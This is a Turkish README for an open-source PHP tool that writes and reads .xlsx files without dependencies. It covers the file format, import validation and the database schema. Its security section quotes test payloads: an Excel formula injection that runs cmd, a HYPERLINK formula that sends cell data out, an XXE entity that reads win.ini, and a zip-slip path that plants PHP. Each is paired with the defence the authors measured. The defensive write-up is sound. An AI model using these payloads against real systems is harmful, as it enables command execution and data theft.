Excel İçe / Dışa Aktarma

Excel Dışa / İçe Aktarma

Sıfır bağımlılıklı PHP ile gerçek .xlsx üretme ve okuma. Composer yok, PhpSpreadsheet yok, vendor/ klasörü yok.

Önizlemeli toplu yükleme · Satır satır doğrulama · Transaction güvenliği

cilginyazilim.com · MIT Lisansı · 🇬🇧 English

---

Bu proje ne yapıyor?

İki yönlü bir Excel köprüsü:

Ek olarak şablon indirme: doğru başlıklara sahip, iki örnek satır içeren boş bir dosya. Hatalı yüklemelerin büyük kısmı daha başlamadan biter.

İçe aktarma önizlemesi

Kaydetmeden önce her satırın ne olacağını görürsünüz — hangisi yeni, hangisi güncellenecek, hangisi zaten aynı, hangisi hatalı ve neden hatalı:

---

Sıfır bağımlılık nasıl çalışıyor? (projenin en öğretici yanı)

.xlsx sihirli bir ikili format değildir — ZIP'lenmiş XML dosyalarıdır. Herhangi bir Excel dosyasının uzantısını .zip yapıp açın, içinde şunları görürsünüz:

[Content_Types].xml          → paketteki her parça ne türdür
_rels/.rels                  → paketin ana parçası hangisidir
xl/workbook.xml              → sayfa listesi
xl/_rels/workbook.xml.rels   → sheet1 hangi dosyada duruyor
xl/styles.xml                → yazı tipi, dolgu, sayı biçimleri
xl/worksheets/sheet1.xml     → ASIL VERİ (satırlar ve hücreler)

XlsxWriter tam olarak bu altı dosyayı üretip ZipArchive ile paketler. XlsxReader ise paketi açıp XMLReader ile geri okur. Gereken tek şey PHP'nin yerleşik zip, xml ve mbstring eklentileridir (XAMPP'ta hazır gelir).

Tek bir hücre, dosyanın içinde şuna benzer:

<c r="B2" s="2" t="inlineStr"><is><t>Evren</t></is></c>

r hücre adresi, s stil numarası, t hücre türü. Metinleri sharedStrings.xml havuzu yerine inlineStr ile hücrenin içine yazıyoruz: dosya biraz büyür ama kod çok daha anlaşılır olur. Bu örnek için doğru takas.

Ne zaman PhpSpreadsheet'e geçmelisiniz? Formül, grafik, çoklu sayfa, hücre birleştirme veya .xls/.ods desteği gerekiyorsa. Buradaki sınıfların amacı veri alışverişidir, rapor tasarımı değil.

---

Çözülen dört klasik tuzak

Excel okuyan kodların neredeyse tamamı bunlardan en az birinde takılır:

1. Tarihler metin değil, sayıdır.
15.08.2026 hücrede 46249 olarak durur. Bir sayının tarih mi yoksa gerçekten sayı mı olduğu ancak hücrenin stiline bakılarak anlaşılır. XlsxReader, styles.xml içindeki sayı biçimlerini çözümleyip "hangi stil tarih gösteriyor" listesini çıkarır. Excel'in ünlü 1900 artık yıl hatası da telafi edilir (başlangıç 30 Aralık 1899 kabul edilerek).

2. Boş hücreler dosyada hiç yazmaz.
B sütunu boşsa ` etiketi bulunmaz; satır A'dan C'ye atlar. Hücreleri sırayla okursanız sütunlar kayar. Çözüm: her hücrenin r özniteliğindeki adrese (C7`) bakıp sütun numarasını hesaplamak.

3. Metinler hücrede durmaz.
Excel tekrar eden metinleri sharedStrings.xml havuzunda tutar; hücrede yalnızca havuz sıra numarası yazar. Ayrıca bir kelimenin bir kısmı kalınsa metin ` parçalarına bölünür ve tek ` okumak yetmez.

4. Sayfanın adı sheet1.xml olmak zorunda değildir.
Google Sheets ve LibreOffice farklı adlar üretir. Doğru yol: workbook.xml'deki ilk sayfanın r:id'sini alıp workbook.xml.rels içinde hedefini bulmak.

---

Kurulum

# 1. Dosyaları web köküne koyun
cd C:/xampp/htdocs
git clone https://github.com/CilginYazilim/excel-import-export.git

# 2. Veritabanını içe aktarın (cy_excel şemasını kendi oluşturur)
mysql -u root -p < excel-import-export/cy_excel.sql

Ardından: http://localhost/excel-import-export/

Farklı bir veritabanı kullanacaksanız system/config.php içindeki DB_* satırlarını düzenleyin veya sunucunuzda DB_HOST, DB_NAME, DB_USER, DB_PASS ortam değişkenlerini tanımlayın.

Canlıya alırken: system/config.php içindeki APP_DEBUG değerini false yapın.

Gereksinimler: PHP 8.1+ (zip, xml, mbstring, gd eklentileri) · MySQL 5.7+ / MariaDB 10.3+

---

Hangi dosya ne işe yarıyor?

excel-import-export/
├── index.php                   ← Sayfa iskeleti (258 satır)
├── cy_excel.sql                ← Veritabanı kurulumu (cy_excel şeması + 50 örnek kayıt)
├── system/
│   ├── config.php              ← Ayarlar + PDO bağlantısı + oturum
│   ├── function.php            ← Yardımcılar, doğrulayıcılar, SÜTUN TANIMLARI
│   ├── ajax.php                ← JSON uç noktası (CRUD + önizleme + kaydet)
│   ├── export.php              ← Dosya indiren uç nokta
│   ├── views/                  ← Modal pencereler (parça şablonlar)
│   │   ├── modal-user.php      ← Ekleme / düzenleme formu
│   │   ├── modal-detail.php    ← Kayıt detayı
│   │   ├── modal-delete.php    ← Silme onayı
│   │   └── modal-import.php    ← İçe aktarma sihirbazı
│   └── Excel/
│       ├── XlsxWriter.php      ← ZipArchive ile .xlsx üretir
│       └── XlsxReader.php      ← XMLReader ile .xlsx okur
├── assets/
│   ├── css/cilginyazilim.css   ← Marka tasarım kalıbı (ortak)
│   ├── css/style.css           ← Yalnızca bu sayfaya özel stiller
│   └── js/app.js               ← Tüm arayüz davranışı
└── upload/                     ← Profil görselleri (.htaccess ile korumalı)

Öne çıkan fonksiyonlar

Yeni bir sütun eklemek

Sütun tanımları tek yerdedir: system/function.php içindeki excel_columns(). Üç adım:

1. cy_excel.sql dosyasına sütunu ekleyin
2. excel_columns() dizisine bir satır ekleyin
3. validate_import_row() içine doğrulamasını yazın

Dışa aktarma, şablon, başlık eşleştirme ve önizleme tablosu bu tanımı okuduğu için gerisi kendiliğinden çalışır.

---

İçe aktarma nasıl çalışıyor?

Dosya seç
   ↓
[1] import_preview  ── veritabanına HİÇBİR ŞEY yazmaz
   │   · dosya gerçekten geçerli bir xlsx paketi mi?
   │   · satır sayısı sınırı aşıyor mu? (aşıyorsa REDDEDİLİR, kırpılmaz)
   │   · başlıklar alan adlarıyla eşleşiyor mu?
   │   · her satır tek tek doğrulanır
   │   · her satır MEVCUT kayıtla karşılaştırılır:
   │       eklenecek mi / güncellenecek mi / değişiklik yok mu?
   │   · yazılacak satırlar OTURUMDA saklanır
   ↓
Önizleme tablosu: yeşil = yeni, mavi = güncelleme,
                  gri = değişiklik yok, kırmızı = hatalı
   ↓
[2] import_commit  ── tek transaction, hepsi ya da hiçbiri

Başlıklar esnektir. Sütun sırası önemli değildir; başlık metnine bakılır. E-Posta, eposta, mail, E-POSTA ADRESİ — hepsi tanınır. Tanınmayan sütunlar (#, Kayıt Tarihi, Notlar) sessizce yok sayılır. Böylece dışa aktardığınız dosyayı düzenleyip doğrudan geri yükleyebilirsiniz.

Anahtar e-postadır. Aynı e-postaya sahip kayıt varsa güncellenir, yoksa eklenir. Güncellemede profil görseline ve kayıt tarihine dokunulmaz — Excel'de bu bilgiler yoktur, bir içe aktarma yüzünden kaybolmaları kabul edilemez.

Değişmemiş satırlar sessizce atlanır. Bir satırın tüm alanları veritabanındakiyle birebir aynıysa "güncellenecek" diye işaretlenmez ve UPDATE sorgusu hiç çalıştırılmaz.

Türkçe biçimler kabul edilir. 105.000,50 ve 105000.50 aynı sayıdır; 04.03.2019 ve 2019-03-04 aynı tarihtir. 31.02.2019 gibi var olmayan tarihler reddedilir.

Sütunlar

---

API uç noktaları

Hepsi POST kabul eder ve CSRF anahtarı ister (csrf_token alanı veya X-CSRF-Token başlığı).

system/ajax.php — JSON döndürür

system/export.php — dosya döndürür

HTTP durum kodları

Neden 419 yok? "419 Page Expired" standart olmayan bir koddur. Bu kurulumda ölçtük: Apache tanımadığı 419'u sessizce 500'e çeviriyordu; yani "oturumun düştü" demek isterken tarayıcıya "sunucu çöktü" diyorduk. Doğru karşılık 403'tür.

---

Veritabanı şeması

cy_excel veritabanı, tek tablo:

CREATE TABLE `users` (
  `id`             INT UNSIGNED NOT NULL AUTO_INCREMENT,
  `name`           VARCHAR(150) NOT NULL,
  `surname`        VARCHAR(150) NOT NULL,
  `email`          VARCHAR(190) NOT NULL,      -- içe aktarmanın ANAHTARI
  `departman`      VARCHAR(100) NOT NULL DEFAULT '',
  `maas`           DECIMAL(10,2) DEFAULT NULL, -- FLOAT DEĞİL: para için DECIMAL
  `baslama_tarihi` DATE DEFAULT NULL,
  `image`          VARCHAR(191) NOT NULL DEFAULT '',
  `tarih`          TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uniq_users_email` (`email`),
  KEY `idx_users_name` (`name`),
  KEY `idx_users_surname` (`surname`),
  KEY `idx_users_departman` (`departman`),
  KEY `idx_users_tarih` (`tarih`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

Üç karar, üç gerekçe:

• DECIMAL(10,2), FLOAT değil. İkili kayan noktalı sayı 0.1 + 0.2 = 0.30000000000000004 üretir ve muhasebe kayıtlarını bozar.
• email üzerinde UNIQUE. "Varsa güncelle, yoksa ekle" davranışının dayandığı kural budur. 190 karakter sınırı utf8mb4 + InnoDB indeks bayt limiti yüzündendir (190 × 4 = 760 bayt).
• image alanı örnek veride boştur. Depoda örnek görsel yok; dosya adı yazsaydık her yeni kurulumda "veritabanı fotoğraf var diyor ama disk boş" tutarsızlığı çıkardı. Boşken uygulama baş harf rozeti gösterir.

---

Güvenlik katmanları ve neden oradalar

Her madde ölçülerek doğrulanmıştır; ölçüm sonucu yazılıdır.

Excel formül enjeksiyonu (quotePrefix)

Bir hücreye =cmd|'/c calc'!A0 ya da =HYPERLINK("http://x/?"&A1,"tıkla") yazılırsa ne olur?

Ölçüm: Bu değeri içe aktarma ile Departman alanına yazdık, dışa aktardık ve üretilen paketi açıp inceledik. Hücre şöyle yazılıyordu:

<c r="E52" s="2" t="inlineStr"><is><t>=cmd|&apos;/c calc&apos;!A0</t></is></c>

Yani t="inlineStr" — metin hücresi. Dosyada hiç ` (formül) etiketi yok. Bir .xlsx hücresi ancak ` varsa formüldür; dolayısıyla dosya Excel'de açıldığında formül çalışmaz. CSV'deki klasik "dosyayı açtım, komut çalıştı" senaryosu burada yoktur.

Peki neden yine de koruma eklendi? Çünkü metin hâlâ formül söz dizimindedir ve Excel bir hücrenin içeriğini yeniden girildiğinde baştan yorumlar. Üç sıradan davranış onu canlı formüle çevirir: hücreye çift tıklayıp Enter'lamak, sütunu kopyalayıp yapıştırmak, veriyi ileride CSV olarak dışa aktarmak (CSV'de `` ayrımı yoktur).

Çözüm: =, +, -, @, sekme veya satır başı ile başlayan metin hücrelerine OOXML'in quotePrefix="1" stili verilir. Bu Excel'e "kullanıcı bu değeri baştan metin olarak girdi" der.

Yaygın tavsiye olan "başına tek tırnak ekle" yöntemi bilerek kullanılmadı: .xlsx'te apostrof hücre metninin parçası değil, arayüzün gösterim kuralıdır. Gerçek bir apostrof yazsaydık kullanıcı hücrede '=cmd... görürdü — yani veriyi bozardık.

Meşru veri bozulmuyor (ölçüldü): -1250.75 ve +90 555 111 22 33 değerleri korumayla birlikte ekranda aynen görünür, yaz-oku turunda bayt bayt korunur. Para ve tarih sütunları zaten money/date türünden geçtiği için bu yola hiç girmez.

XXE (harici varlık) saldırısı

Ölçüm: İçine <!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]> gömülü iki ayrı .xlsx hazırladık — biri sheet1.xml, diğeri sharedStrings.xml üzerinden. Sonuç: birincisi "bozuk XML" diye reddedildi, ikincisinde varlık boş metne çözüldü. win.ini içeriği hiçbir yere sızmadı.

Koruma: simplexml_load_string() çağrısında LIBXML_NONET kullanılır ve LIBXML_NOENT asla eklenmez (o bayrak açığı geri açar). PHP 8'de dış varlık yükleme zaten varsayılan olarak kapalıdır; bu ikinci kilittir.

Zip slip (../ yollu arşiv)

Ölçüm: İçinde ../../../../xampp/htdocs/excel-import-export/upload/slipped.php adlı bir girdi bulunan .xlsx hazırlayıp yükledik. Dosya diske yazılmadı.

Sebep tasarımsaldır: XlsxReader arşivi hiçbir zaman diske açmaz (extractTo() çağrısı yoktur). Yalnızca getFromName() ve zip:// akışı kullanır — yani paket içindeki yol adları hiçbir zaman dosya sistemi yolu olarak yorumlanmaz.

Zip bombası

Paket açılmadan önce arşivin bildirdiği toplam açılmış boyuta bakılır; sınırı aşan reddedilir.

Ölçüm: Sınır 64 MB iken, 169 KB'lık bir yükleme 55 MB'lık bir sharedStrings.xml açıyor ve PHP'nin tepe bellek kullanımını 88 MB'a çıkarıyordu — yaklaşık 500 kat büyüme. Ölümcül değildi ama gereksizdi: içe aktarma sınırı zaten 5 MB ve 2000 satır, gerçek bir 10.000 satırlık dosya ise yalnızca 313 KB. Sınır 24 MB'a çekildi ve bomba dosyası artık 422 ile reddediliyor.

Yükleme klasörü (upload/.htaccess)

Ölçüm (önce): .php ve .phtml istekleri 403 dönüyordu (iyi), ama /upload/x.gif ve /upload/x.html istekleri 200 dönüyor ve tek bir güvenlik başlığı taşımıyordu. İçine HTML/JS gömülmüş bir "görsel", tarayıcı MIME tahmini yaparsa sitenin kendi alan adında betik çalıştırabilirdi (depolanmış XSS).

Sonra: Aşağıdaki katmanlar eklendi ve tekrar ölçüldü.

Doğrulama (sonra): .php, .PHP, .php5, .phtml, php. ve x.php/y.png (path-info) istekleri 403; meşru .png hâlâ 200 image/png ve tüm güvenlik başlıklarını taşıyor.

Diğer katmanlar

• CSRF — list dahil veri döndüren her uç nokta doğrulanır. (Önceden list korumasızdı; belge "her istek" derken kod aksini yapıyordu. Tarayıcı CORS yüzünden yanıtı zaten okuyamaz, yani sızıntı değildi — ama kuralın istisnası olmamalı.) Karşılaştırma hash_equals() ile sabit sürelidir.
• Dosya türü içerikten doğrulanır — Uzantı ve MIME yalnızca ön elemedir. Asıl kontrol: dosya gerçekten geçerli bir ZIP mi ve içinde xl/workbook.xml var mı? Ölçüldü: .php dosyası sahte .xlsx adı ve sahte MIME ile yüklendiğinde 422 ile reddedilir.
• Görsel yükleme — Tür getimagesize() ile içerikten doğrulanır; yeni ad ve uzantı bizim beyaz listemizden gelir, kullanıcının gönderdiği addan değil. Böylece virus.php.png diske o adla hiç yazılamaz. Ad random_bytes(16) ile rastgeledir.
• Satır sınırı sessizce kırpmaz — Ölçülen hata: 10.000 satırlık dosya, hiçbir uyarı vermeden 2000 satıra düşürülüyor ve kalan 8.000 satır sessizce kayboluyordu; üstelik kullanıcı yeşil "tamamlandı" mesajı görüyordu. Artık sınırın 1 fazlası okunup taşma tespit edilir ve dosya reddedilir — sessiz veri kaybı, açık bir hatadan çok daha kötüdür.
• Transaction — Ölçüldü: 500 satırlık bir içe aktarmanın ortasında veritabanı hatası tetiklendi; kayıt sayısı işlem öncesindeki değere (50) geri döndü, tek bir satır bile kalmadı.
• Önizleme verisi sunucuda tutulur — İstemciye gönderilip geri alınsaydı, doğrulamayı atlamak isteyen biri arada JSON'u düzenleyebilirdi.
• Tek kullanımlık önizleme — Kaydedilen parti oturumdan silinir; aynı önizleme ikinci kez onaylanamaz.
• SQL Injection — Her sorgu prepared statement kullanır. Sıralama sütunu bind edilemediği için beyaz listeden geçirilir.
• XSS — Sunucuda e() (htmlspecialchars), istemcide her hücre .text() ile doldurulur — asla .html().
• Parça şablonlar doğrudan çağrılamaz — Ölçülen sızıntı: system/views/*.php doğrudan istendiğinde PHP uyarısı basıyor ve uyarı metninde sunucunun tam dosya yolu (C:\xampp\htdocs\...) görünüyordu. Artık hem CY_APP sabiti hem views/.htaccess engelliyor (403).

---

Performans (ölçülen)

Bellek düşüktür çünkü XlsxReader tüm belgeyi belleğe almaz: XMLReader ile imleç gibi ilerler ve yalnızca o anki satırı SimpleXML'e verir. İki yaklaşımın iyi yanı birleştirilmiştir — düşük bellek + okunaklı kod.

Varsayılan sınır 2.000 satırdır (IMPORT_MAX_ROWS). Sebebi: doğrulanmış satırlar onay adımına kadar oturumda tutulur. Daha büyük dosyalarla çalışacaksanız oturum yerine geçici bir tabloya yazın.

---

Özelleştirme

assets/css/cilginyazilim.css dosyasına dokunmayın. O, projeler arası ortak marka tasarım kalıbıdır; sayfaya özel her şey style.css içine yazılır.

---

Örnek kullanım alanları

• İK / personel listesi — Bordro sisteminden gelen Excel'i toplu yükleme, güncel listeyi dışa aktarma (bu depodaki örnek tam olarak budur).
• Ürün kataloğu — Tedarikçinin gönderdiği fiyat listesini içe aktarma. email yerine stok_kodu anahtar yapılır: excel_columns() ve UNIQUE indeks değiştirilir, gerisi aynı kalır.
• Öğrenci / not girişi — Öğretmenin doldurduğu şablonu yükleme. Önizleme adımı burada kritiktir: yanlış sınıfın dosyası fark edilmeden kaydedilmez.
• Muhasebe / cari hesap aktarımı — DECIMAL kullanımı ve Türkçe sayı biçimi desteği doğrudan işe yarar.
• Toplu e-posta listesi temizliği — Geçersiz adresler önizlemede kırmızı görünür ve aktarılmaz; liste kirlenmez.
• Periyodik veri senkronizasyonu — "Değişmemiş satırı güncelleme" davranışı sayesinde aynı dosya her gün yüklenebilir; yalnızca gerçek değişiklikler yazılır.

---

Lisans

MIT — dilediğiniz gibi indirip kullanabilirsiniz. Telif: Çılgın Yazılım (cilginyazilim.com)

Katkı için depoyu çatallayın ve pull request gönderin:
github.com/CilginYazilim/excel-import-export